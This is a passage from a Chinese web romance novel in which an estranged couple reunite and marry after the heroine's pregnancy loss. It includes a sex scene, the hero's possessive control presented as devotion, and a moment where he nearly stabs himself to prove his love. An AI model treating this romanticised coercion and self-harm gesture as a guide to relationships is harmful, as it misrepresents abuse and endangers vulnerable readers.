“我不知道该怎么和你相处。即便是过了一年,我知道我还没放下你,我心底还有你,可是只要看到你,我就会想到当时我从手术台睁开眼睛那一刻,身体空荡荡的、失去孩子的那种无助感。” 不管他们的上一辈有什么牵扯,也不管她是在什么阴谋诡计推动下去到她身边的,因为这些都可以找到答案可以有所理由。 可是她和他之间最纯粹的情感里,有了这辈子永远无法修补的裂缝,即便她爱他,他也爱她,但因为他,她曾失去过孩子,失去她所期待的和和睦睦有孩子的家,即便现在她能再拥有,心境也完全不同。 创伤后的康复疗程都需要一段时间,他怎么能要求她现在就立马接受? 听言,傅随之的心沉重地痛了一下。 他手臂紧紧环住她的腰,鼻尖蹭了蹭她的头发,“小纾,我很抱歉,可是我不能放开你。” 现在两人的关系就好比林青盏胸口有一柄冰刀,但傅随之毫不在意,他只想用力拥抱她。 即便被冰刀刺穿胸膛也无所谓。 这晚,林青盏是在傅随之怀里睡着的。 时隔一年,她好像也可以安然睡觉,因为熟悉的温度又回来了。 隔天清晨,林青盏缓缓睁开眼睛,看到落地窗前的白纱在缓慢飘动,身旁是空荡荡的冰凉。 她知道傅随之不可能离开,没有多在意,起身去洗浴室里洗漱好,去更衣室里取了件长裙换上。 随后,她走出卧室,沿着意式风格的现代风楼梯走下来,抬起头看到坐在客厅的傅随之,以及旁边的顾宴迟和顾蝉。 与此同时,顾蝉抬眸看向这边,随即欢喜跳起身,“小盏宝贝!” 这一年,她让自己回归林青盏的身份,身边新认识的人只知道她叫林青盏,林青盏这个身份像是掉落海里的漂亮瓶,已经逐渐远离她。 顾蝉的这一声“小盏宝贝”,却瞬间将她拉回。 林青盏鼻尖发酸望着顾蝉,随着顾蝉扑过来紧紧抱住她。 “小盏宝贝,没有你这么当姐妹的。一消失就是一年,你知不知道我快想死你了。” 林青盏笑了笑,“小蝉,我也是。” 坐在沙发上的傅随之望向这边,能明显感觉到林青盏的情绪不在那么死寂,好像是重新活过来一样。 他要一点点找回原来的林青盏,和她回到当初的故事里—— 作者有话说:下一章领证,是傅三上位成功的第一步。 很快他要带她回浮城啦。 第78章 海边别墅后院。 林青盏和顾蝉坐在白色遮阳伞下,玻璃圆桌上摆放着茶具,林青盏纤细手指捏着茶壶耐心地为顾蝉泡了一杯茶,放在她面前。 秋日里的海风微微凉,顾蝉纤细指尖摸到温热茶杯,还是有些不真实,望着林青盏,眼眸带笑。 “小盏宝贝,你变得更漂亮了。” 从刚刚见面到现在,顾蝉始终没有半分责怪,望着林青盏的眼神里满是疼惜,这让林青盏心底略显愧疚。 “小蝉,对不起。” 顾蝉放下茶杯,抓住她搁在桌面的手掌,轻轻捏了捏。 “你有什么好对不起我的。我知道当时那个情况,不论精神还是身体上,你都备受压力。我能理解你想离开,而且你也不是不打招呼,你离开后不是还给我报了平安么。所以我从来没有怪你,我只是很担心你。” 顾蝉为她倒了杯茶,让她暖手,“过来的时候,我听我哥说过了,这一年林博蘅将你藏在海城这边,把你照顾得很好,没有让你受苦,这样我心底舒服多了。” “我不过是藏起来,怎么可能受苦。”林青盏心 底酸涩,“你这一年还好吗?” “我的生活就是那样,整天跟着老师四处奔走,不过因为是我喜欢的事情,我也甘之如饴。” 顾蝉手托腮,“工作上也就这样了,至于感情嘛,一如往初。我跟我哥还在一起,你也知道我那病离不开他。本来我们的事情只有顾迟墨知道的,前几个月我们太久没见面迷了心智,在家里太激情,被我爸妈抓了个当场,事情就曝光了。” 她耸了耸肩,看似云淡风轻,其实林青盏知道她一直很担心跟哥哥的关系被家里人发现,毕竟他们名义上是兄妹,这件事传出去对顾家名声不好,而顾父顾母恰恰是最注重名节的。 “那你爸妈有说什么吗?” “他们自然是不同意我们在一起的。” “顾宴迟怎么说?” 顾蝉笑得灿烂,那双眼眸像是星星般闪亮,“十年前我哥就开始在存老婆本了,他的态度一直很明朗。” 为此,顾宴迟被顾父处罚在宗堂面前跪了一天一夜,他还是不松口,甚至说要让出继承人的位置,叫同胞弟弟顾迟墨去继承顾氏,自己可以彻底退出胡氏,在族谱上除名。 顾父自然没答应,气得拿鞭子家法伺候。 顾蝉将过往的事情一点点说给林青盏听,“那你呢,在海城一年你都在做什么?” 林青盏抿了口茶,感觉唇齿间满是浓密的茶香,“我也没什么事情做,就是悠悠哉哉地过来了。” 林博蘅接着林青盏到海城的第一个月,她每天都将自己关在别墅里面,很大一部分时间都用来休息,好像这样就能让身体的疲惫得到缓解,剩下的时间,她在花园里种海棠花,不过总是没种活。 那时候她身体虚弱得很,三天两头生病,林博蘅特意让中医过来给她调理身体,三个月后才感觉恢复如初,开始有了精神气。 之后,林青盏才开始有精力看新闻重新关注浮城的消息。 她看到兰青翎和戏曲协会合作的活动,兰青翎培养何青素成了名角,最近几个月兰青翎也开始给学生上课,逐渐往单苇老师的路子走去。 至于傅随之,他这一年疯狂的大洗牌动作,林青盏通过新闻和林博蘅的转达,多少是有些了解的。 因为要躲着傅随之又要躲着贺兰承,这一年她行事很小心,原来的手机不敢开机怕暴露行踪,也很少出门,闲着无事开始在网上做账号打发时间。 顾蝉认真听她说着,始终还是那句话,“只要你好好的就好。” 过了片刻,她略显小心翼翼询问:“林博蘅他们有告诉你,你离开后傅随之跟疯了一样吗?” 林青盏点了点头,“我知道,他在浮城大费周章找了我好几天。” 顾蝉眼神沉了些许,“林博蘅他们只是外人听说,并不知道最真切的。” 当时顾蝉在外出差,是顾宴迟给她打电话透露的消息,说外头都传林青盏出了车祸,其实是林青盏设了计逃走的。 顾蝉赶回浮城的那天,天空下了暴雨,黑压压地笼罩下来,雨水泛滥。 她坐在顾宴迟的车里看到了傅随之,他拿着一柄黑伞,气压低沉得可怕,像是活阎王一样守在浮城最重要的通道,一辆车一辆车检查过去,在雨中被冲刷一整夜只为找到林青盏。 “因为我哥的原因,我也算是从小认识他,他这人惯来冰冷没有感情,但那天我看到的人却浓情得像是绝望的种子,好似随时都要爆炸一样。 后来他看似没怎么样,其实也消沉过一段时间,我亲眼看着他喝酒喝到胃穿孔,被徐泽也他们扛去医院。” 顾蝉观察着林青盏的神色,“小纾,我不是为他说情,感情这种事,外人不好多言,而且我始终站在你这边的。我只是觉得有些事情,你必须要知道。” 林青盏疑惑看她。 迟疑片刻,顾蝉说:“当初你怀孕出血时,傅随之曾经三步一叩首上了浮云寺为你肚子里的孩子求了两盏长明灯。只是没想到他们还是离开了。你们失去孩子的隔天,傅随之做了同样的事情,他三步一叩首上了浮云寺求到佛祖面前,为那两个孩子点了往生灯,希望他们无忧无虑了无牵挂地去往极乐世界。” 林青盏没想到傅随之会做这件事,握着茶杯的手指颤了颤。 顾蝉抓住她的手,“你要是真放下了,不可能让傅随之找到你。左右现在傅随之都是随你处置的,他既然都低到尘埃里去了,你也不要再折磨自己。孩子走了,他们会再回来的,他们知道妈妈很思念他们。” 果然是从小一起长大的闺蜜,不过三言两语将林青盏所有防线都打破。 林青盏鼻尖发酸望着顾蝉。 顾蝉走过去抱住她,让她埋在腰间,终于可以卸下所有的防御和逞强,在这一刻彻底放下过去的伤痛。 顾蝉陪着林青盏在后院站了好一会儿,说要为她换杯新茶,端着茶壶走进去。 玻璃门再次被推开,走出来的是傅随之。 他看了眼孤独坐在藤椅上的林青盏,疾步走过去,将手里的黑色披肩搭在她身上,走到她前面蹲下身去,仰望着她。 这几天他都是如此,放低自己的身段,仰视着她,眼中满是虔诚的臣服,林青盏垂眸看他一眼,心底五味杂陈。 傅随之很快发现她的情绪,手掌捧着她脸颊,摸了摸她泛红的鼻尖,也抓到她发冷的指尖。 “手怎么这么冷?我抱你进去吗?” 林青盏坐着没动,垂眸望入他那浅棕色眼眸里,情绪犹如海浪翻涌而来,“傅随之,我恨过你的。” 傅随之神色平淡,“我知道。但是小纾,就算你恨我甚至想一刀捅死我,我也不可能放了你。你可以选择了解我。” “那我不是成了杀人凶手?” 一句话让傅随之静了音,片刻后,他说:“那你哪天真不想让我活了就告诉我,我往自己胸口捅一刀。这样就跟你没有半点关系。” 林青盏缓缓吸了口气,“那你现在捅吧。” 傅随之安静看着她,像是在确认她是不是认真的,下一秒,他抓起桌面的水果刀转了个方向就要往自己心脏的位置捅下去。 林青盏被吓了一跳,慌忙抓住他的手腕,气急败坏:“你疯了!!” 傅随之嘴角勾着浅浅的笑,将水果刀放回去,抓住林青盏的双手,“我是疯了,爱你爱到快发疯。你让我死,我不会多活一秒。” 以前两人在一起的时候,傅随之也会说些好听话,但基本都是在做.爱的时候,现在的傅随之完全不一样,他不吝啬对她表达爱意,直接直白的。 林青盏以为自己会反感,但她没有。 她随他揉着掌心,出声问:“你怎么才能放我自由出入?” 傅随之依旧坚持,“我们领证结婚,好不好?” 他抓着她的指尖凑到嘴边亲了亲,“小纾,你怎么对我都可以,只要不离开我,好不好?” 远处的白色海浪翻涌,传来巨大的响声,像是鼓点一样敲击着林青盏的心尖。 她听到自己的声音,“我们可以领证。” 傅随之神色舒展开,眼底满是喜悦。 “但这不代表我原谅你了。” “好。” 她低着头,“傅随之,如果再有一次,我会让你这辈子再也见不到我。” “小纾,我发誓,再无可能。”- 林青盏终于点头答应,傅随之一刻不愿意耽搁,立马要带着人去领证。 顾蝉和顾宴迟在旁边看笑话,说从来没见过冷酷无情的傅三爷这副模样,像是得到骨头的狗,拼命咬住主人的裤脚不放。 被顾宴迟这么嘲讽,傅随之半点不在意,只想拉着林青盏去登记。 林青盏让他等一等,她要去给贺兰承打电话。 昨天傅随之挂断贺兰承电话后,贺兰承就联系了林博蘅和林博昶,让他们要去把林青盏带回来,他们两兄弟倒是来海边别墅拜访了,不过被秦楠和傅慎拦在门外没让他们进门。 贺兰承气得在办公室里摔手机,原本是想赶紧回国来看看,却被贺老原来的三子贺建云绊住,这两天都在应付那边的麻烦。 骤然接到林青盏的电话,贺兰承神色才好了许多,没想下一秒就听到林青盏在电话彼端说,“我们要去领证。” 贺兰承下意识,“他拿什么威胁你?” 林青盏坐在米色沙发上,傅随之就挨着她坐,手机里的声音太过响亮,别说傅随之就连顾蝉他们都听到了。 贺兰承气急败坏,“傅随之找死,还敢威胁你?小纾,我两天后回来,哥哥会来接你,你不用害怕。” 林青盏纤细指尖被傅随之抓住,她抬眸看他,莫名有些心虚。 贺兰承没听到回答,更是气恼,“你让傅随之接电话,谁给他的胆子,竟然敢囚.禁.你?” 林青盏知道贺兰承那性情和傅随之一说话,估计又会不欢而散,她没让傅随之碰到手机,歪头对电话彼端的贺兰承说道:“哥哥,不是他威胁我,他不会的。是我自己决定要这么做的。” 贺兰承这才沉下气来,询问:“你们和好了?” 林青盏对上傅随之那热切的眼神,“不是和好,不过……” “不过什么?” 林青盏咬了咬红唇,“我从没想过会和别人结婚,不会是别人,那就是他了。” 沉默片刻,贺兰承问:“自己想好了吗?” “嗯。” “好。” 听到贺兰承同意,林青盏松了口气。 下一秒,贺兰承声音带着狠戾,“傅随之,你要是再敢让她伤心难过,我不介意把你剁成肉酱喂鱼!” 傅随之冷笑,“你不会有这样的机会。”—— 作者有话说:没写完领证的,明天领。 再过度一两章回浮城。 感情主线也差不多了,我尽量快点完结。 孩子婚礼那些番外写哈。 第79章 傅随之一刻都等不得,让整个律师团过来,将自己手里的三分之一资产转移到她名下。 林青盏坐在真皮沙发上,柔顺长裙垂落下来,在晨间阳光照耀下,整个人显得很是柔和温柔。 她垂眸望着桌面上的文件,神色略显迟疑。 顾蝉知道她的忧虑,她这人性格如此,并不贪财,一时间将这么多资产转移到她名下,她反倒不知道该如何是好。 顾蝉靠在顾宴迟怀里,悠悠然说着,“要是我我就签,反正结婚了他的也是你的。” 他们这些豪门上流社会的,结婚都会签婚前协议,豪门之间的联姻合作,更是会将财产分割清楚。 林青盏没想过傅随之会将这些双手奉上,而且他给她三分之一是因为其他的要办理手续很麻烦,还会影响到傅氏集团的股市这才作罢。 傅随之的态度非常明确,愿意倾尽所有,只要她留在他身边。 沉思片刻,林青盏拿起签字笔在那一份份文件尾页签下自己的名字。 顾蝉和顾宴迟在旁边起哄说,“以后他再让你伤心难过,你不用跑,你直接让他净身出户。” 林青盏看了傅随之一眼,没说话。 因为要去登记结婚,顾蝉带着林青盏去楼上衣帽间,说要挑选件好看的长裙换上,为了领证的仪式感,顾蝉还特意为她画了个精致妆容。 傅随之和顾宴迟坐在客厅等候,等了许久没见人下来,傅随之心底有些焦急,站起身走到落地窗前,借着抽烟舒缓情绪。 他嘴角叼着烟,猛得吸一口,脸庞轮廓更显得锐利,眼底情绪复杂。 顾宴迟悠然坐在沙发上,翘着腿,抬眸看向他。 若是外人看傅随之,见他面无表情,神色淡然,周身都偷着如冰霜的冷傲,还以为他情绪毫无波动,只有顾宴迟这些熟悉的人才知道傅随之现在有多焦躁不安。 他又猛得吸一口烟,手指下意识挠了挠额头,顾宴迟忍不住笑出声:“之前是发疯,现在才发怵?” 傅随之微启唇,呼出一口白雾,“没怵。是高兴。” “是了是了,傅三终于找到老婆,要把老婆娶回家了,那肯定是高兴的。”顾宴迟笑他,“我们也高兴。傅三终于不用整日摔酒瓶子发疯!你这发疯了一年,我们都快被你吓出心脏病了!” 傅随之冷眼刮过去,压根不想理会顾宴迟。 他很快将手里的烟抽完,去洗净了双手又漱了漱口,整理好他那高级定制的西服和衬衫,重新回到沙发坐下。 顾宴迟瞧他一眼,“我之前就奇怪,你为什么突然喜欢穿白色衬衫。刚刚听小蝉说了才知道,原来是嫂子喜欢你穿白色衬衫?” 傅随之垂眸看了眼那特意让人定制的白衬衫,领口处还有浅浅的海棠花花纹,他嘴角难得勾起一丝笑容。 “嗯,她喜欢。” 等候了一个小时,顾蝉才带着林青盏走下楼梯。 傅随之转身看过去,只见林青盏着一身米白色长裙,上身是雪纺衫,裙摆是缎面的,隐约可见花瓣底纹,看不清楚,但傅随之知道是海棠花。 她衣帽间里的衣服,都是他前几日和秦楠傅慎亲自嘱咐让人送过来的,他知道她穿着必然好看。 她将乌黑长发绾起,露出白皙的额头和鹅蛋脸,桃花眼明亮动人,傅随之看得都醉了。 等人走到跟前,他恍然伸出手,从顾蝉手里接过她。 傅随之没让她走,弯腰将她打横抱起,一路抱到车上,甚至于没让她落座,就让她坐在他腿上,整个人依偎在他怀里。 他对她到了痴迷的地步,是颠狂的。 修长手臂环住她纤细腰肢,脸颊埋在她肩膀,缓缓吸入她身上的香味,嘴唇若有似无地蹭过她耳后。 “小纾。”他低声唤着她名字,嘴唇贴着她耳垂亲了亲,“小纾。” 林青盏脸蛋泛红,抓住他的指尖,“放开,把我裙子都弄皱了。” 傅随之迷恋地含了下她耳垂,终究是暂时松开她。 待会还得拍照,衣服不能凌乱,不然会惹她不高兴。 两人到了民政局,由专人带着拍照填写资料领证,不过十五分钟重新回到车上。 林青盏依旧被他抱在怀里,垂眸看着他手里的两本结婚证,上面贴着他们的合照。 男人五官立体,那双浅棕色眼眸很是惹眼,脸庞轮廓俊逸。他旁边的林青盏细眉弯弯,明月皓齿,倾国倾城,看起来极为般配。 林青盏想伸手去拿结婚证,却被他躲开了,她疑惑看向他。 傅随之理所当然,“这个由我保管。” 林青盏知道,他心底又怕她带着结婚证跑了,无奈一笑。 “那我现在可以回去月云阁上班了吗?” 傅随之虽然不想,但说过的话再反悔,怕她生气,只能点头,“当然。不过——” 林青盏蹙眉,“傅随之,你再反悔,我会生气。” 傅随之对上她微愠眼神,“没说要反悔。我只是想说今天比较晚,明天再去。” 林青盏挑了挑眉,“这才差不多。” 虽然只是简单的领证,不是办婚礼,他们也没有通知亲朋好友,但傅随之想着终归要庆祝一下,带着林青盏去了海城星空饭店。 顾宴迟和顾蝉作为他们领证见证人,自然要一起陪着过去。 黑色劳斯莱斯停靠在地下停车场,傅随之推开车门,林青盏终于能从他身上下来。 见到刚下车的顾蝉,林青盏着急忙慌走过来牵着她手臂,就往电梯口走去。 顾蝉看她一眼,笑着打趣,“怎么回事?瞧你这样子,很怕你们家老公?他现在不是都拜倒在你的长裙之下,随你处置吗?你还用得着怕他吗?” “我没有怕。” “噢~那就是害羞了。” 林青盏白皙脸蛋泛着红晕,就连眼尾都沾染了胭脂似的红。 顾蝉抓着她的手掌,“小纾,你和傅随之领证,是什么感觉?” 林青盏看她,一时间说不话来,顿了片刻才说道,“是终于放过自己的感觉。” “嗯??这什么奇怪表达。” 林青盏垂眸。 她从小在望月台长大,虽然有师傅师姐师兄,还有顾蝉和老师的关爱,但她心里还是会期望自己有一个家,所以她一直在努力找哥哥哥,只是一直没找到。 当时机缘巧合跟傅随之走到一起,她始终以为他们会结婚有个家,后来有了孩子,这种期待更浓烈。 “你也知道的,还有一个原因,我不想让我的孩子一出生就被打上私生子的标签。我曾主动跟他提起过这件事情,但傅随之选择了他的事业。” 她没有和任何人提及过,这对她来说是很大的打击,后来孩子又没了。她感觉自己好像走进了迷幻森林里面,一直陷在那种情绪出不来。 这也是她一年前选择离开的最主要原因,即便傅随之再次找到她,追着她,她还是没有办法一时间释怀。 林青盏缓缓呼了口气,“那天你告诉我傅随之去浮云寺祈求的事情,这对我来说其实很重要。至少让我能够相信他对我是真的,他也没有对不起我和孩子。可为什么我们还是走到了分离的地步。我就在想,有些事情或许我们是无可奈何的。” 他的出身本来是带着爱的,但是因为家族豪门争斗,被迫小小年纪就是失去自己 应有的本性。 在遇到林青盏之前,他的人生里,掌握上位者权利才是他的使命。 他明明喜欢林青盏,可为了要全力保护她,他选择暂时放下她去追求权力。这些看似矛盾的选择,其实背后都有它的原因。 “一年前我看不透,所以我选择离开。但是我不可能一直困在迷雾森林里面不出来,我还得继续生活。所以说,答应傅随之和他结婚就是这种感觉,好像终于能放下以前的所有难过,我要开始新的生活。 顾蝉勾住她的手臂,轻轻拍了拍,“小盏宝贝,你能这样想就太好了。 “我哥说的,傅随之每天在发疯,度日如年,这也让他更加清楚对你的感情。相比傅氏集团,你对他来说更为重要,所以他宁愿放下所有,也要将你留在身边。” 顾蝉笑,“反正我跟我哥放话了,如果他再让你受一点点伤害,我肯定对他不客气。而且你现在也不是一个人啦,你还有你哥哥啊。你啊,现在就应该恃宠而骄!傅随之既然想娶你,就应该拿出点态度!” 林青盏没想过这个。 顾蝉看她懵懵的,捏了捏她的脸蛋,“宝贝,你该不会连恃宠而骄都不会吧?” 林青盏笑着摇头,“跟我们家大小姐相比,我是不会。” 顾蝉长相婉约,很好说话的样子,但其实在顾宴迟那里简直是作天作地,这些林青盏是知道的。 顾蝉还很得意,“那是了,在这件事上,你得跟我学习。反正就是别管他,你得顾着你自己,凡事以你爽不爽为主。明白了吗?!” 顾蝉这人向来直白,说话更是露骨得很。 林青盏红着脸,却依旧应下来,“好了知道了。” 她觉得这种感觉很好,好像一切又回到了原来的样子。 星空饭店在大厦顶端,号称最浪漫的饭店。 电梯门打开,林青盏转过身,看到门外铺着一路的玫瑰花瓣,四周满是梦幻的星空轮转,像是进入浪漫的异世界。 傅随之走过来抓住林青盏的白皙手腕,塔上玫瑰路。 白色高跟鞋踩在玫瑰花瓣上,发出细碎的声响,林青盏脑袋空空的。 傅随之低下身凑在她耳边说:“这不是求婚,求婚留到下次。只是领证的仪式要有,今日我们走过漫天花瓣,以后你都不能再轻易放开我的手,好不好?” 林青盏对上他那双变得温柔的眼眸,点了点头,“好。” 得到她的回复,傅随之才终于满足,牵着人往里面走。 星空饭店今晚被傅随之包场,里面没有其他顾客,傅随之带着她走到落地窗前最好的位置坐下。 林青盏原是想让顾蝉和自己坐,顾蝉却躲进顾宴迟怀里,“这么美好的时光,还是你们自己尽情享受吧。我们不当灯泡了。” “嗯?”林青盏疑惑:“不是说一块吃饭吗?” 顾蝉:“作为你最好的姐妹,我见证了你领证的美好瞬间,自然要送佛送到西,现在都把你送到这里,我们也算是完成任务了。饭你们自己吃吧,我跟我哥要去过两人世界了。” 顾宴迟笑着将顾蝉搂紧,“傅三,走了。” 顾蝉:“小盏宝贝,领证快乐,拜拜!” 这两人性格都是雷厉风行的,说走就走,不过两分钟连人影都没了。 饭店里只剩下他们两人面对面坐着,迷幻的星空在头顶闪过,耀眼夺目,林青盏却还是轻易被对面的男人吸引了目光。 男人穿着西服三件套,白色衬衫让他更显得矜贵,他修长手指提着醒酒杯往她面前倒了杯葡萄酒。 “不想喝就不喝,摆着好看。” 今晚的一切都很好看浪漫。 玻璃方桌放置了艳丽的红色玫瑰,精致美味的菜肴一盘盘被端上桌。 傅随之修长手指捏着银质刀叉为她将牛排切成一小块一小块的,随后放在她面前,柔声嘱咐她:“慢点吃。” 他还让人过来弹奏音乐,在舒缓的小提琴演奏下,对她说:“我爱你。” 这一切都不像他。 林青盏没动,一双明亮清澈的眼眸望着他,是没有真实感的。 傅随之看透了她心底的想法,“小纾,你别用这种眼神望着我。” “我什么都没说。” “你是什么都没说,但你的眼神替你做出了表达。” 傅随之轻笑一声,“你是不是觉得我像疯了?从前的我永远不可能做这样的事情。” 林青盏不置可否。 傅随之平静地将牛排往嘴里送,缓慢咀嚼完才再次开口,“小纾,之前纪老五说过一句话,他说他当疯子太久了,结婚后有了太太,就想做回正常人。可以说,我也是这样。” 林青盏歪着头,“纪时礼结婚了?是和舒叠姑娘吗?” 她这一年光顾着看傅随之的新闻,倒是没注意到纪时礼结婚的新闻。 傅随之满脸无奈,“我在和你深情告白,你别关注其他人。” “哦。”林青盏点头,“那你说吧。” “我和他一样,从小处境就不好,不发疯当疯子,所有人都会欺压到我们头上,久而久之我们的名声就传开了,连我们自己都忘记了怎么当一个正常人,可是遇见你,我想重新做人。” 傅随之望着她,“毕竟和你在一起,做任何一件事,我都甘之如饴。” 他说得极为真切,林青盏神色却很淡然,没发表什么看法,安静认真地与他一同享受这星空下的美好晚餐。 直到结束晚餐,回到车里,林青盏被他抱过去坐在他腿上。 她双手环着他肩膀,心底被压制着的感动才突然犹如海啸般翻涌而来,怎么都克制不住。 她低下头,将脸埋在他肩膀,始终没有告诉他,和他领证,她欢欣若狂—— 作者有话说:终于领证了!![红心] 恭喜傅三成功上位,开始疯狂宠妻之路![墨镜] 第80章 从星空饭店离开后,傅随之将人往海边别墅带去,林青盏却是不同意。 “我要回白色别墅。” 傅随之捏着她下巴让她抬起头,“你还想回去住林博蘅的别墅?傅太太,你是不是要有点自觉,你现在是有老公的人!” “……”这口气真是怎么听都觉得酸极了。 林青盏坚持,“我要回去。” 怎么也得回去拿下她的东西,再过去海边别墅,但傅随之这样,她故意没有明说。 傅随之身上的那股清冷如霜雪般的气息随即散开,好似变成有形的寒冷,朝着她快速攀附过来,恨不得将她冰冻住。 他捏着她下巴,“林青盏,你当你男人是死的?” 林青盏没挣脱,纤细手指戳了戳他靠近心脏的位置,“既然是我的男人,那就该乖乖听话。” “……”好像被拿捏了,但他心甘情愿。 他揉着她脸,“你现在倒是敢和我叫嚣了。” 林青盏眨眼。 “很好,我喜欢。” 傅随之从没想过要真的压制住林青盏,或者该 说,现在两人间的掌控权已转变,林青盏说的就是命令,他心甘情愿听从。 最终,司机还是转道去了白色别墅。 车在门口停下,傅随之抬眸看到熟悉的铁门,脸色更加阴沉。 林青盏刚动了动,他转过身准备要跟着下车,林青盏干脆坐回去,认真和他说,“你在车上等着。” 这话一出,傅随之反应过来,“你待会还和我回海边别墅?” 她点头,“我进去和博蘅哥交代一声。” “交代什么?”傅随之冷笑,“你还用得着和一个外人交代?” 林青盏满脸严肃,“傅随之,你别忘了,这一年是谁在照顾我。” 傅随之一句话憋不出来,只拿那微凉的眼眸望着林青盏,悠悠一句,“对别的男人倒是叫得亲切。” “……”他吃醋还吃没完了。 林青盏没有管他,推开车门下去,连车门都不给他关,迈步走进白色别墅。 推开铁门进花园时,她就看到站在窗边的林博蘅。 月光下,他穿着白色衬衫,手里端着一个陶瓷杯,还是那副温文尔雅气宇轩昂的模样,看到她露出温柔的笑容,像是春风拂过般。 林青盏推开房门,走到他面前。 他没问其他的,只说一句:“回来了。” 林青盏撩起浓密眼睫,望向他,“抱歉,让博蘅哥担心了。” “没事,回来就好。”林博蘅将手里的茶杯放下,转身要去为他泡茶,“想喝点什么茶?” 林青盏叫住他,对上他温柔的眼眸,“之前你跟我说的那件事,被傅随之打断了,我还没有正式回应你。” 林博蘅何其了解她,转身面对他,嘴角的笑容依旧在,“好,你说。我听着。” 相处一年,林青盏始终觉得林博蘅身上的这股温柔是她很喜欢的,但她非常清楚自己心底的想法。 “博蘅哥也知道,我从小和我哥走丢了,我一直在找他。可能是因为小时候和哥哥的相处记忆让我觉得很幸福,所以我心底对于跟哥哥在一起是向往的。但我们现在身份都变了,没有办法像以前那样生活在一起。 一年前你带我离开浮城,接受我哥的嘱托照顾我,对我一向有求必应,这让我很安心。” 她抬起眼眸对上林博蘅的视线,“我和你在一起的时候感觉很安心,就像是跟哥哥在一起一样。我对你的感情也是这样的,我们是好朋友,我将你当做哥哥,所以我没办法对你产生另外的感情。博蘅哥,很抱歉要拒绝你的请求。” 林博蘅深深望着她,最终只说:“好。” 林青盏松了口气,“你听我哥哥说了么,我和傅随之领证了。” 林博蘅点头,“听说了。祝贺我们小纾结婚快乐,礼物过后补给你。” “好呀。”她眉眼弯弯笑着。 之前会入住白色别墅,是因为隔壁老房子无法住人,而且当时她在躲着贺兰承和傅随之,不方便去外面住酒店怕被找到。 既然现在她已经公开自己的行踪,那就没有一定要住在这里的理由。 傅随之虽然霸道不讲道理,但有句话说对了,她和傅随之已经领证,住在刚和她表白的男人家里,自然是不妥当的。 所以林青盏还是搬过去海边别墅。 她的东西不多,不过是一些衣物,秦楠和傅慎过来提着就走了。 林青盏和林博蘅告了别,转身走出前花园,抬头就看到傅随之站在铁门外,神色不明望着她。 夜间的海边,微风吹拂而来,带着咸咸的海盐味道。 傅随之傲然站在铁门外,路边橙色路灯在他脸庞拓下一层温柔的光,连带着他眼底稀碎的醋意都藏匿不住。 林青盏知道傅随之现在改变了许多,若是以往遇到这种情况,他怎么可能乖乖等候在门口,让她和表白者待在屋里,他老早炸了,指不定上去把林博蘅打一顿,直接把她抱走。 而现在的傅随之好像渐渐懂得了,以尊重她的方式来宣泄自己的情绪。 他不乐意看到她去和林博蘅告别,但为了尊重她,他可以克制自己的情绪,隐忍着。 顾蝉有句话说对了,现在的傅随之对她唯命是从,而她只要尽情享受这场感情的掌控权就好了。 林青盏纤细手指提着缎面裙摆,避免裙尾扫过草地沾染了污泥,她一步步走到傅随之面前,郑重其事告诉他:“可以走了。” 傅随之神色不悦,抓住她的手腕将人往车上带,手劲儿还是克制住,没有弄疼她。 上了车后,依旧将人抱到他身上,从身后环住她的腰肢,脸颊埋在她肩膀深吸了两口,跟爱好者吸猫一样,眼中有着深深的迷恋。 他的嘴唇贴着她如雪凝脂的肌肤蹭了蹭,转而去含住她的耳垂吻了吻。 林青盏觉得痒,躲开了些,他又追上来,贴着她的唇角吻了下去,“小纾,我好想你。” 时隔一年再找到她,又耗费了这么一段时间,才能将她揽入怀中。 闻着她身上的海棠花香,傅随之感觉自己都快疯了。 到了海边别墅,傅随之没让她落地,将人打横抱起,一路往里面走去。 别墅里没亮灯,客厅幽暗一片,只有月光从宽大的玻璃洒落进来,在欧洲进口地板落下浅棕色的痕迹。 傅随之抱着人走到米白色沙发,将人轻轻放下,下一秒便来势汹汹欺过来,双手捧起她的脸颊,开始暴风式吻着她。 林青盏双手攀上他的肩膀,仰着头去回应他热烈的吻。 他们曾经最靠近彼此,对彼此身体有着最炙热的迷恋,即便是相隔了三百多个日夜,只要一个吻就能轻易点燃被压制的情绪。 林青盏再垂眸时,身上的衣物已然不见踪影,傅随之抓住她纤细的手掌贴着他结实的腹肌逐渐往下。 她的心剧烈跳动,而比她的心澎湃的是他的。 突兀跳动两下后,林青盏乍然抓住,傅随之深吸了口气,嘴唇贴着她嘴角流连,“小纾,你想让我死在你手里吗?” 林青盏后知后觉,慢慢松开,他又不同意,宽厚手掌贴着她的手背,将她的手握紧,缓慢上下。 月光洒落下来,在他紧致的肌肉镀了一层月白的光,林青盏可以清楚看到肌肤上沾染的汗滴。 不过很快,她就无法再分神,被他抱着压在沙发上。 隔天清晨,林青盏闻到空气里的海风味,缓慢睁开眼睛,见傅随之着一身黑色浴袍站在落地窗边。 他手里捏着烟玩转,但没有点燃。 林青盏拿一双明亮纯净的眼眸盯着他,惹得他全身酥麻,嘴角的笑意怎么都压制不住。 他走过来重新躺下,将她揽入怀中,“饿了吗?” “有点。” “让小灵过来伺候你吃早餐?” “小灵?”林青盏疑惑,“她们过来了?” 傅随之为她将鬓角碎发往后拂,“你在这,他们自然要过来照顾。” 听到傅小灵姐妹过来的消 息,林青盏没有在被窝里赖着,换了身长裙下楼,完全不顾傅随之想与她再亲密的炙热期待。 沿着楼梯往下走,林青盏看到了坐在客厅的傅小敏姐妹俩。 傅小灵神色温柔,傅小敏则是一如既往的干练,见林青盏下来,她们急忙走上前,“夫人!” 傅小灵欣喜若狂,双眼渐渐沾染了湿雾,“见到你太好了。” 林青盏走过去,抱住她们两人,“我回来了。” 所有的事情都跟一年前的那个缺口重合,生活也回归原来的轨道。 傅随之站在二楼环形走廊,望着楼下的场景,眼眸深处的那一层黑雾终于彻底散去- 林青盏和傅随之领证的事情并没有对外公告。 傅随之倒是想,简直巴不得,但林青盏还未准备好,觉得还是暂且将消息压下来的好。 傅氏集团不是随意的小集团,公开傅随之领证结婚的消息,众人必然会追溯总裁夫人的身份,各大新闻电视台都会争先报道。 而对于傅家来说,傅随之这个家主既然结婚了,必然要公开林青盏这位当家主母的身份,有些家族礼仪自然要完成,随之而来的,就会是一系列繁琐的事情。 她还得在云月阁待一段时间,不好言而无信直接跑了。 另外,她现在是以林青盏的身份活着,要不要公布自己作为“林青盏”的身份,这些都是值得思考的。 林青盏很享受现在在海城的时光,暂时不想面对那些,最终要求傅随之压下消息。 傅随之自然只能听命。 